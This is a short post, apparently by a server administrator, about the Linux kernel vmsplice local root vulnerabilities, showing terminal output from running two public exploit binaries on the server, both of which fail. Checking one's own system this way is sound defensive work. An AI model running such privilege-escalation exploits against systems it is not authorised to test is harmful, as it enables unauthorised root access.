There are some Critical Linux kernel vmsplice security issues that hopefully have been patched properly. See also #27704 on SecurityFocus. Fortunately the kernel on this server is too old to be affected! 🙂
$ ./27704 ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d8b000 .. 0xb7dbd000 [-] vmsplice: Function not implemented $ ./27704-2 ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] addr: 0xc0106340 [-] wtf